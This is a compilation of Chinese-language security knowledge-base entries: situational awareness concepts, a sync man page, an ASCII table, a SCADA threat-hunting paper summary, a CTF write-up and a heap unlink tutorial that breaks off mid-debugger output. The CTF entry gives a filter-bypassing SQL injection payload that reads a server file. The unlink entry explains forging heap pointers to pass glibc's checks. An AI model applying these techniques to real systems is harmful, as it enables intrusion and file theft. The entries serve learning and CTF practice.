# 态势感知 本章节主要整理网络态势感知(CSA,Cyberspace Situation Awareness)相关的知识。 ## 什么是态势感知 首先于1995年,Endsley提出,主要指:在大规模网络环境中,对 能够引起网络态势发生变化的**安全要素**进行获取、理解、显示,并预测未来的发展趋势。[1] 从定义中可以看出,主要包含三个方面: - 感知层(Perception)—— 数据提取 - 感知和获取环境中的重要线索和元素 - 理解层(Comprehension)—— 理解分析 - 整合感知到的数据和信息,分析其相关性,进行建模和评估 - 预测层(Projection)—— 态势预测 - 基于对环境的感知和理解(前面两层),预测相关知识(Knowledge,注意其与Information的区别)的未来发展趋势。 总体来说,态势感知不是值单个的产品,而是一个完整的解决方案——一个企业安全领域的,包含产品、服务,最终达到感知威胁并辅助安全管理和决策的一整套方案。 ## 常见的模型 Part1:威胁探针 + 威胁情报(情报系统对于提升网络安全态势感知能力很重要) Part2:安全感知平台(大数据、机器学习、威胁建模、行为分析) Part3:威胁大屏展示(全面发现各种疑似、潜藏威胁) ## 为什么需要 渗透和攻击过程非常复杂,并且很多时候都“出人意料”,现有的安全系统大多采用模式识别(特征库匹配)的方式,比较机械,且误报率高,难以检测和防护。 因此,攻击行为分析是一个重要的方面。对于企业来说,具有专家知识的分析人员,对于企业的威胁感知和排查是非常重要的,但专家的人力成本以及现实因素的限制较大,如何使用机器去辅助并完成一部分分析、保障工作,结合专家经验呢?这就诞生了态势展示模型。 ## 产品类型 关于网络安全产品的类型,IDC(国际数据,International Data Corporation,IDC)对其进行了最新的划分,主要是**根据其应用领域来界定**,产品形态策划成为了产品属性,并且更加多样化[1]: - 网络安全 - 内容检测 - 互联网防护 - 端点安全 - AIRO(Analytics, Intelligence, Response, Orchestration) - 身份与数字信任 - 应用安全与DevSecOps - 平行市场 - .. 其中,威胁感知产品就是属于AIRO,AIRO类产品主要包括: - 分析与情报 - SIEM和安全分析 - 威胁分析 - 威胁情报 - 欺骗(Spoofing) - 响应 - 取证和应急响应(IR) - 策略与合规管理 - 设备集中管理 - 策略集中下发 - GRC(Risk and Compliance,风险控制) - 编排 - 脆弱性评估与管理 - NAC(Network access control,网络访问控制) - 编排自动化工具(参考SOA部分) ## References [1] 也来聊聊态势感知(上),大兵说安全,https://mp.weixin.qq.com/s/dCGMfKsFzYaZiffjkBBYpg
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SYNC 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 sync \- 将缓存内容同步写入持久性存储中 .SH 概述 \fBsync\fP [\fI\,选项\/\fP] [\fI\,文件\/\fP]... .SH 描述 .\" Add any additional description here .PP 将缓存内容同步写入持久性存储中 .PP 如果指定了多于一个文件,只同步它们,或者存放它们的文件系统。 .TP \fB\-d\fP, \fB\-\-data\fP 只同步文件数据,不需要处理元信息 .TP \fB\-f\fP, \fB\-\-file\-system\fP 只同步包含这些文件的文件系统 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 缺陷 持久性保证因系统而异。请查阅相关系统调用以了解详情。 .SH 作者 由 Jim Meyering 和 Giuseppe Scrivano 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBfdatasync\fP(2), \fBfsync\fP(2), \fBsync\fP(2), \fBsyncfs\fP(2) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/sync> .br 或者在本地使用: info \(aq(coreutils) sync invocation\(aq
sec-knowleage
--- title: ASCII Code date: 2023-01-05 12:44:21 tags: - ASCII - code - Table categories: - Other intro: | This cheatsheet is a complete list of ASCII Code Table with their numbers and names. --- ASCII Code Table {.cols-1} --------------- ### ASCII Code Table | Symbol | Dec | Oct | Hex | Bin | |------------------------------------|------|------|------|----------| | NUL (Null) | 0 | 0 | 0 | 0 | | SOH (Start of Heading) | 1 | 1 | 1 | 1 | | STX (Start of Text) | 2 | 2 | 2 | 10 | | ETX (End of Text) | 3 | 3 | 3 | 11 | | EOT (End of Transmission) | 4 | 4 | 4 | 100 | | ENQ (Enquiry) | 5 | 5 | 5 | 101 | | ACK (Acknowledgment) | 6 | 6 | 6 | 110 | | BEL (Bell) | 7 | 7 | 7 | 111 | | BS (Back Space) | 8 | 10 | 8 | 1000 | | HT (Horizontal Tab) | 9 | 11 | 9 | 1001 | | LF (Line Feed) | 10 | 12 | 0A | 1010 | | VT (Vertical Tab) | 11 | 13 | 0B | 1011 | | FF (Form Feed) | 12 | 14 | 0C | 1100 | | CR (Carriage Return) | 13 | 15 | 0D | 1101 | | SO (Shift Out / X-On) | 14 | 16 | 0E | 1110 | | SI (Shift In / X-Off) | 15 | 17 | 0F | 1111 | | DLE (Data Line Escape) | 16 | 20 | 10 | 10000 | | DC1 (Device Control 1 / oft. XON) | 17 | 21 | 11 | 10001 | | DC2 (Device Control 2) | 18 | 22 | 12 | 10010 | | DC3 (Device Control 3 / oft. XOFF) | 19 | 23 | 13 | 10011 | | DC4 (Device Control 4) | 20 | 24 | 14 | 10100 | | NAK (Negative Acknowledgement) | 21 | 25 | 15 | 10101 | | SYN (Synchronous Idle) | 22 | 26 | 16 | 10110 | | ETB (End of Transmit Block) | 23 | 27 | 17 | 10111 | | CAN (Cancel) | 24 | 30 | 18 | 11000 | | EM (End of Medium) | 25 | 31 | 19 | 11001 | | SUB (Substitute) | 26 | 32 | 1A | 11010 | | ESC (Escape) | 27 | 33 | 1B | 11011 | | FS (File Separator) | 28 | 34 | 1C | 11100 | | GS (Group Separator) | 29 | 35 | 1D | 11101 | | RS (Record Separator) | 30 | 36 | 1E | 11110 | | US (Unit Separator) | 31 | 37 | 1F | 11111 | | (Space) | 32 | 40 | 20 | 100000 | | ! | 33 | 41 | 21 | 100001 | | " | 34 | 42 | 22 | 100010 | | # | 35 | 43 | 23 | 100011 | | $ | 36 | 44 | 24 | 100100 | | % | 37 | 45 | 25 | 100101 | | &amp; | 38 | 46 | 26 | 100110 | | ' | 39 | 47 | 27 | 100111 | | ( | 40 | 50 | 28 | 101000 | | ) | 41 | 51 | 29 | 101001 | | * | 42 | 52 | 2A | 101010 | | + | 43 | 53 | 2B | 101011 | | , | 44 | 54 | 2C | 101100 | | - | 45 | 55 | 2D | 101101 | | . | 46 | 56 | 2E | 101110 | | / | 47 | 57 | 2F | 101111 | | 0 | 48 | 60 | 30 | 110000 | | 1 | 49 | 61 | 31 | 110001 | | 2 | 50 | 62 | 32 | 110010 | | 3 | 51 | 63 | 33 | 110011 | | 4 | 52 | 64 | 34 | 110100 | | 5 | 53 | 65 | 35 | 110101 | | 6 | 54 | 66 | 36 | 110110 | | 7 | 55 | 67 | 37 | 110111 | | 8 | 56 | 70 | 38 | 111000 | | 9 | 57 | 71 | 39 | 111001 | | : | 58 | 72 | 3A | 111010 | | ; | 59 | 73 | 3B | 111011 | | &lt; | 60 | 74 | 3C | 111100 | | = | 61 | 75 | 3D | 111101 | | &gt; | 62 | 76 | 3E | 111110 | | ? | 63 | 77 | 3F | 111111 | | @ | 64 | 100 | 40 | 1000000 | | A | 65 | 101 | 41 | 1000001 | | B | 66 | 102 | 42 | 1000010 | | C | 67 | 103 | 43 | 1000011 | | D | 68 | 104 | 44 | 1000100 | | E | 69 | 105 | 45 | 1000101 | | F | 70 | 106 | 46 | 1000110 | | G | 71 | 107 | 47 | 1000111 | | H | 72 | 110 | 48 | 1001000 | | I | 73 | 111 | 49 | 1001001 | | J | 74 | 112 | 4A | 1001010 | | K | 75 | 113 | 4B | 1001011 | | L | 76 | 114 | 4C | 1001100 | | M | 77 | 115 | 4D | 1001101 | | N | 78 | 116 | 4E | 1001110 | | O | 79 | 117 | 4F | 1001111 | | P | 80 | 120 | 50 | 1010000 | | Q | 81 | 121 | 51 | 1010001 | | R | 82 | 122 | 52 | 1010010 | | S | 83 | 123 | 53 | 1010011 | | T | 84 | 124 | 54 | 1010100 | | U | 85 | 125 | 55 | 1010101 | | V | 86 | 126 | 56 | 1010110 | | W | 87 | 127 | 57 | 1010111 | | X | 88 | 130 | 58 | 1011000 | | Y | 89 | 131 | 59 | 1011001 | | Z | 90 | 132 | 5A | 1011010 | | [ | 91 | 133 | 5B | 1011011 | | \ | 92 | 134 | 5C | 1011100 | | ] | 93 | 135 | 5D | 1011101 | | ^ | 94 | 136 | 5E | 1011110 | | _ | 95 | 137 | 5F | 1011111 | | <code>\`</code> | 96 | 140 | 60 | 1100000 | | a | 97 | 141 | 61 | 1100001 | | b | 98 | 142 | 62 | 1100010 | | c | 99 | 143 | 63 | 1100011 | | d | 100 | 144 | 64 | 1100100 | | e | 101 | 145 | 65 | 1100101 | | f | 102 | 146 | 66 | 1100110 | | g | 103 | 147 | 67 | 1100111 | | h | 104 | 150 | 68 | 1101000 | | i | 105 | 151 | 69 | 1101001 | | j | 106 | 152 | 6A | 1101010 | | k | 107 | 153 | 6B | 1101011 | | l | 108 | 154 | 6C | 1101100 | | m | 109 | 155 | 6D | 1101101 | | n | 110 | 156 | 6E | 1101110 | | o | 111 | 157 | 6F | 1101111 | | p | 112 | 160 | 70 | 1110000 | | q | 113 | 161 | 71 | 1110001 | | r | 114 | 162 | 72 | 1110010 | | s | 115 | 163 | 73 | 1110011 | | t | 116 | 164 | 74 | 1110100 | | u | 117 | 165 | 75 | 1110101 | | v | 118 | 166 | 76 | 1110110 | | w | 119 | 167 | 77 | 1110111 | | x | 120 | 170 | 78 | 1111000 | | y | 121 | 171 | 79 | 1111001 | | z | 122 | 172 | 7A | 1111010 | | { | 123 | 173 | 7B | 1111011 | | | 124 | 174 | 7C | 1111100 | | } | 125 | 175 | 7D | 1111101 | | ~ | 126 | 176 | 7E | 1111110 | | (Delete) | 127 | 177 | 7F | 1111111 | | € | 128 | 200 | 80 | 10000000 | | | 129 | 201 | 81 | 10000001 | | ‚ | 130 | 202 | 82 | 10000010 | | ƒ | 131 | 203 | 83 | 10000011 | | „ | 132 | 204 | 84 | 10000100 | | … | 133 | 205 | 85 | 10000101 | | † | 134 | 206 | 86 | 10000110 | | ‡ | 135 | 207 | 87 | 10000111 | | ˆ | 136 | 210 | 88 | 10001000 | | ‰ | 137 | 211 | 89 | 10001001 | | Š | 138 | 212 | 8A | 10001010 | | ‹ | 139 | 213 | 8B | 10001011 | | Œ | 140 | 214 | 8C | 10001100 | | | 141 | 215 | 8D | 10001101 | | Ž | 142 | 216 | 8E | 10001110 | | | 143 | 217 | 8F | 10001111 | | | 144 | 220 | 90 | 10010000 | | ‘ | 145 | 221 | 91 | 10010001 | | ’ | 146 | 222 | 92 | 10010010 | | “ | 147 | 223 | 93 | 10010011 | | ” | 148 | 224 | 94 | 10010100 | | • | 149 | 225 | 95 | 10010101 | | – | 150 | 226 | 96 | 10010110 | | — | 151 | 227 | 97 | 10010111 | | ˜ | 152 | 230 | 98 | 10011000 | | ™ | 153 | 231 | 99 | 10011001 | | š | 154 | 232 | 9A | 10011010 | | › | 155 | 233 | 9B | 10011011 | | œ | 156 | 234 | 9C | 10011100 | | | 157 | 235 | 9D | 10011101 | | ž | 158 | 236 | 9E | 10011110 | | Ÿ | 159 | 237 | 9F | 10011111 | | (Non-breaking space) | 160 | 240 | A0 | 10100000 | | ¡ | 161 | 241 | A1 | 10100001 | | ¢ | 162 | 242 | A2 | 10100010 | | £ | 163 | 243 | A3 | 10100011 | | ¤ | 164 | 244 | A4 | 10100100 | | ¥ | 165 | 245 | A5 | 10100101 | | ¦ | 166 | 246 | A6 | 10100110 | | § | 167 | 247 | A7 | 10100111 | | ¨ | 168 | 250 | A8 | 10101000 | | © | 169 | 251 | A9 | 10101001 | | ª | 170 | 252 | AA | 10101010 | | « | 171 | 253 | AB | 10101011 | | ¬ | 172 | 254 | AC | 10101100 | | (Soft hyphen) | 173 | 255 | AD | 10101101 | | ® | 174 | 256 | AE | 10101110 | | ¯ | 175 | 257 | AF | 10101111 | | ° | 176 | 260 | B0 | 10110000 | | ± | 177 | 261 | B1 | 10110001 | | ² | 178 | 262 | B2 | 10110010 | | ³ | 179 | 263 | B3 | 10110011 | | ´ | 180 | 264 | B4 | 10110100 | | µ | 181 | 265 | B5 | 10110101 | | ¶ | 182 | 266 | B6 | 10110110 | | · | 183 | 267 | B7 | 10110111 | | ¸ | 184 | 270 | B8 | 10111000 | | ¹ | 185 | 271 | B9 | 10111001 | | º | 186 | 272 | BA | 10111010 | | » | 187 | 273 | BB | 10111011 | | ¼ | 188 | 274 | BC | 10111100 | | ½ | 189 | 275 | BD | 10111101 | | ¾ | 190 | 276 | BE | 10111110 | | ¿ | 191 | 277 | BF | 10111111 | | À | 192 | 300 | C0 | 11000000 | | Á | 193 | 301 | C1 | 11000001 | |  | 194 | 302 | C2 | 11000010 | | à | 195 | 303 | C3 | 11000011 | | Ä | 196 | 304 | C4 | 11000100 | | Å | 197 | 305 | C5 | 11000101 | | Æ | 198 | 306 | C6 | 11000110 | | Ç | 199 | 307 | C7 | 11000111 | | È | 200 | 310 | C8 | 11001000 | | É | 201 | 311 | C9 | 11001001 | | Ê | 202 | 312 | CA | 11001010 | | Ë | 203 | 313 | CB | 11001011 | | Ì | 204 | 314 | CC | 11001100 | | Í | 205 | 315 | CD | 11001101 | | Î | 206 | 316 | CE | 11001110 | | Ï | 207 | 317 | CF | 11001111 | | Ð | 208 | 320 | D0 | 11010000 | | Ñ | 209 | 321 | D1 | 11010001 | | Ò | 210 | 322 | D2 | 11010010 | | Ó | 211 | 323 | D3 | 11010011 | | Ô | 212 | 324 | D4 | 11010100 | | Õ | 213 | 325 | D5 | 11010101 | | Ö | 214 | 326 | D6 | 11010110 | | × | 215 | 327 | D7 | 11010111 | | Ø | 216 | 330 | D8 | 11011000 | | Ù | 217 | 331 | D9 | 11011001 | | Ú | 218 | 332 | DA | 11011010 | | Û | 219 | 333 | DB | 11011011 | | Ü | 220 | 334 | DC | 11011100 | | Ý | 221 | 335 | DD | 11011101 | | Þ | 222 | 336 | DE | 11011110 | | ß | 223 | 337 | DF | 11011111 | | à | 224 | 340 | E0 | 11100000 | | á | 225 | 341 | E1 | 11100001 | | â | 226 | 342 | E2 | 11100010 | | ã | 227 | 343 | E3 | 11100011 | | ä | 228 | 344 | E4 | 11100100 | | å | 229 | 345 | E5 | 11100101 | | æ | 230 | 346 | E6 | 11100110 | | ç | 231 | 347 | E7 | 11100111 | | è | 232 | 350 | E8 | 11101000 | | é | 233 | 351 | E9 | 11101001 | | ê | 234 | 352 | EA | 11101010 | | ë | 235 | 353 | EB | 11101011 | | ì | 236 | 354 | EC | 11101100 | | í | 237 | 355 | ED | 11101101 | | î | 238 | 356 | EE | 11101110 | | ï | 239 | 357 | EF | 11101111 | | ð | 240 | 360 | F0 | 11110000 | | ñ | 241 | 361 | F1 | 11110001 | | ò | 242 | 362 | F2 | 11110010 | | ó | 243 | 363 | F3 | 11110011 | | ô | 244 | 364 | F4 | 11110100 | | õ | 245 | 365 | F5 | 11110101 | | ö | 246 | 366 | F6 | 11110110 | | ÷ | 247 | 367 | F7 | 11110111 | | ø | 248 | 370 | F8 | 11111000 | | ù | 249 | 371 | F9 | 11111001 | | ú | 250 | 372 | FA | 11111010 | | û | 251 | 373 | FB | 11111011 | | ü | 252 | 374 | FC | 11111100 | | ý | 253 | 375 | FD | 11111101 | | þ | 254 | 376 | FE | 11111110 | | ÿ | 255 | 377 | FF | 11111111 | {.show-header}
sec-knowleage
# 论文日读:Last Line of Defense: Reliability Through Inducing Cyber Threat Hunting With Deception in SCADA Networks ## 概要 - Offensive Security: Towards Proactive Threat Hunting via Adversary Emulation - Last Line of Defense: Reliability Through Inducing Cyber Threat Hunting With Deception in SCADA Networks Abdul Basit Ajmal等人的两篇论文,主题是对“威胁狩猎”和“攻击仿真”的应用实践。第一篇主要介绍提出一种新型的混合模型,通过发起模拟攻击进行威胁狩猎来验证威胁假设(hypotheses)、帮助理解攻击模式。第二篇主要实践了威胁狩猎和网络欺骗、杀伤链相结合来检测SCADA系统(监控和数据采集)中的威胁,并且提出了一种关注于未知威胁、在SCADA网络中的威胁检测和预防方法。 ## 笔记 ### 威胁狩猎与攻击仿真 以下是论文中给出的一个对手仿真方法和威胁狩猎模型。第一阶段,是通过对全网威胁情报的感知,提取其中的TTPs,通过对手仿真方法组合攻击技术,实施具体的攻击。第二阶段,基于攻击仿真获取的数据进行威胁狩猎。威胁狩猎的过程主要为:(感知攻击,根据已有能力获取检测的数据)——建立失陷假设——验证假设——证明假设——成功狩猎,告知组织相关TTPs。 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108113017420.png" alt="image-20211108113017420" style="zoom: 67%;" /> 图:威胁狩猎和攻击仿真的模型 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108114238568.png" alt="image-20211108114238568" style="zoom:67%;" /> 图:威胁狩猎与攻击仿真的流程图 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108114402177.png" alt="image-20211108114402177" /> 图:简化版狩猎模型 ![image-20211108115612144](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108115612144.png) 图:威胁狩猎过程 ### 诱捕农场 论文中另外给出一个重要框架是一个基于SCADA网络环境下的诱捕农场(Decoy Farm)系统。该系统主要是集合安全检测和容器技术构建出一套在SCADA网络下的攻击仿真系统(蜜罐+检测)。 ![image-20211108115212555](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108115212555.png) 图:SCADA系统诱捕农场 ## 概念补充 ### SCADA > SCADA 系统是由不同组件组成的网络,负责关键工业过程的可靠和准确工作。 SCADA 系统收集和组织来自不同执行器的数据以进行实时监控。 SCADA 由 PLC(可编程逻辑控制器)、HMI(人机交互)、MTU(主终端单元)、Historian 和 RTU(远程终端单元)等组件组成。他们结合并构建了一个完整的网络。 简单来说就是在工业控制领域的一个监控和数据采集方案。以下是SCADA系统的一个网络结构图: <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20211108115025930.png" alt="image-20211108115025930" style="zoom: 67%;" /> 图:SCADA系统的网络结构
sec-knowleage
# F4ceb00k 60s (Web 100) ``` WWWarmup challenge for your soul. http://10.13.37.11 ``` ###ENG [PL](#pl-version) In the task we get a webpage where we can put a User-Agent string and it seemingly tells us how many users used the same UA (which seems to be random data). Tampering with our own, real UA string we figure that the application saves logs from our entries in `/ua_logs` directory under the name taken from our UA. We can access those files, so if we could create a file with `.php` in name, we would get a remote code execution on the server. UA is sanitized though, so we can't do that, because the filter passes only `a-zA-Z0-9\-` range (we could confirm this by triggering an error during file creation, eg by passing a too long file name). After a while the task got `fixed` and it turned out that our approach was totally wrong, and the application was now showing some SQL errors for certain inputs. Injection point was `INSERT INTO` query. This of course meant that the attack vector is in fact SQLInjection. We did some tests and it turned out that our queries are also sanitized, but the filter is just doing simple string replace for words like `select`, so we could bypass this by putting `sselectelect` this way the `select` in the middle would be replaced with empty string, leaving `select` :) The final payload to get the flag: `), ((selselectect*frofromm(seselectlect load_load_filefile('/flag')) as a limit 0, 1), '2') #` This way we tried to pass the loaded flag content as `id` field of the table we were inserting into, and thus causing the SQL error: ``` PDO::query(): SQLSTATE[HY000]: General error: 1366 Incorrect integer value: 'DCTF{02a61a4c169a1b3987fe8e128cb67c92}\x0A' for column 'id' at row 2 ``` ###PL version W zadaniu dostajemy stronę internetową na której możemy podać string User-Agent a strona mówi nam ile osób użyło tego sameog UA (dane są raczej losowe). Modyfikacje naszego prawdziwego UA pozwalają stwierdzić że strona loguje wpisywane przez nas dane do `/ua_logs` do plików pod taką nazwą jak nasze prawdziwe UA. Możemy przeglądać te pliki, więc gdyby dało się utworzyć taki z nazwą `.php` moglibyśmy uzyskać remote code execution na serwerze. Niestety nasze UA jest filtrowane i przepuszcza tylko `a-zA-Z0-9\-` (zweryfikowane poprzez wywołanie błędu przy wysłaniu stringa za długiego na nazwę pliku). Po jakimś czasie zadanie zostało `naprawione` i okazało się że nasze podejście było zupełnie chybione - teraz aplikacja pokazywała błędy SQL dla niektórych inputów. Punkt wstrzyknięcia był w zapytaniu `INSERT INTO`. To oczywiście oznaczało że mamy do czynienia z atakiem SQLInjection. Przeprowadziliśmy trochę testów i okazało się że dane są filtrowane poprzez proste string replace dla słów takich jak `select`, więc mogliśmy obejść to wysyłając np. `sselectelect`, gdzie filtr usuwał wewnętrzne `select` zostawiają nam `select` :) Payload do wyciągnięcia flagi: `), ((selselectect*frofromm(seselectlect load_load_filefile('/flag')) as a limit 0, 1), '2') #` W ten sposób próbowalismy posłać zawartość flagi jako wartość dla pola `id` w tabeli do której wstawialiśmy dane, a to spowodowało błąd: ``` PDO::query(): SQLSTATE[HY000]: General error: 1366 Incorrect integer value: 'DCTF{02a61a4c169a1b3987fe8e128cb67c92}\x0A' for column 'id' at row 2 ```
sec-knowleage
# Unlink ## 原理 我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。 我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下 下面我们首先介绍一下 unlink 最初没有防护时的利用方法,然后介绍目前利用 unlink 的方式。 ### 古老的 unlink 在最初 unlink 实现的时候,其实是没有对 chunk 的 size 检查和双向链表检查的,即没有如下检查代码。 ```c // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // largebin 中 next_size 双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); ``` **这里我们以 32 位为例**,假设堆内存最初的布局是下面的样子 现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(**比如溢出**)将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时 - glibc 判断这个块是 small chunk - 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并 - 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并 - 继而对 Nextchunk 采取 unlink 操作 那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下 - FD=P->fd = target addr -12 - BK=P->bk = expect value - FD->bk = BK,即 *(target addr-12+12)=BK=expect value - BK->fd = FD,即*(expect value +8) = FD = target addr-12 **看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。** 比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。**需要注意的是,expect value+8 处的值被破坏了,需要想办法绕过。** ### 当前的 unlink **但是,现实是残酷的。。**我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查 ```c // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ ``` 此时 - FD->bk = target addr - 12 + 12=target_addr - BK->fd = expect value + 8 那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。但是我们可以通过伪造的方式绕过这个机制。 首先我们通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要 - `fakeFD -> bk == P` <=> `*(fakeFD + 12) == P` - `fakeBK -> fd == P` <=> `*(fakeBK + 8) == P` 当满足上述两式时,可以进入 Unlink 的环节,进行如下操作: - `fakeFD -> bk = fakeBK` <=> `*(fakeFD + 12) = fakeBK` - `fakeBK -> fd = fakeFD` <=> `*(fakeBK + 8) = fakeFD` 如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向P的指针,那么: - `*P = P - 8` - `*P = P - 12` 即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。 如果我们想要使得两者都指向 P,只需要按照如下方式修改即可 需要注意的是,这里我们并没有违背下面的约束,因为 P 在 Unlink 前是指向正确的 chunk 的指针。 ```c // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ ``` **此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。** ## 利用思路 ### 条件 1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针 2. 已知位置存在一个指针指向可进行 UAF 的 chunk ### 效果 使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18 ### 思路 设指向可 UAF chunk 的指针的地址为 ptr 1. 修改 fd 为 ptr - 0x18 2. 修改 bk 为 ptr - 0x10 3. 触发 unlink ptr 处的指针会变为 ptr - 0x18。 ## 2014 HITCON stkof [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof) ### 基本信息 ```shell ➜ 2014_hitcon_stkof git:(master) file stkof stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped ➜ 2014_hitcon_stkof git:(master) checksec stkof [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2014_hitcon_stkof/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` 可以看出,程序是 64 位的,主要开启了 Canary 和 NX 保护。 ### 基本功能 程序存在 4 个功能,经过 IDA 分析后可以分析功能如下 - alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global - read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,**这里存在堆溢出的情况** - free:根据指定索引,释放已经分配的内存块 - useless:这个功能并没有什么卵用,本来以为是可以输出内容,结果什么也没有输出 ### IO 缓冲区问题分析 值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。具体如下,可以进行调试查看 初次调用 fgets 时,malloc 会分配缓冲区 1024 大小。 ``` *RAX 0x0 *RBX 0x400 *RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x88 *RDI 0x400 *RSI 0x7fffffffd860 ◂— 0x16 *R8 0x1 *R9 0x0 *R10 0x7ffff7fd2700 ◂— 0x7ffff7fd2700 *R11 0x246 *R12 0xa *R13 0x9 R14 0x0 *R15 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 *RBP 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 *RSP 0x7fffffffd858 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax *RIP 0x7ffff7a91130 (malloc) ◂— push rbp ─────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────── ► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd18e0> ...,省略 ► f 0 7ffff7a91130 malloc f 1 7ffff7a7a1d5 _IO_file_doallocate+85 f 2 7ffff7a88594 _IO_doallocbuf+52 f 3 7ffff7a8769c _IO_file_underflow+508 f 4 7ffff7a8860e _IO_default_uflow+14 f 5 7ffff7a7bc6a _IO_getline_info+170 f 6 7ffff7a7bd78 f 7 7ffff7a7ab7d fgets+173 f 8 400d2e f 9 7ffff7a2d830 __libc_start_main+240 ``` 分配之后,堆如下 ``` pwndbg> heap Top Chunk: 0xe05410 Last Remainder: 0 0xe05000 PREV_INUSE { prev_size = 0, size = 1041, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05410 PREV_INUSE { prev_size = 0, size = 134129, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ``` 当分配16大小的内存后,堆布局如下 ``` pwndbg> heap Top Chunk: 0xe05430 Last Remainder: 0 0xe05000 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa3631, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05410 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20bd1 } 0xe05430 PREV_INUSE { prev_size = 0, size = 134097, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ``` 当使用 printf 函数,会分配 1024 字节空间,如下 ``` *RAX 0x0 *RBX 0x400 *RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x88 *RDI 0x400 *RSI 0x7fffffffd1c0 ◂— 0x16 R8 0x0 *R9 0x0 *R10 0x0 *R11 0x246 *R12 0x1 *R13 0x7fffffffd827 ◂— 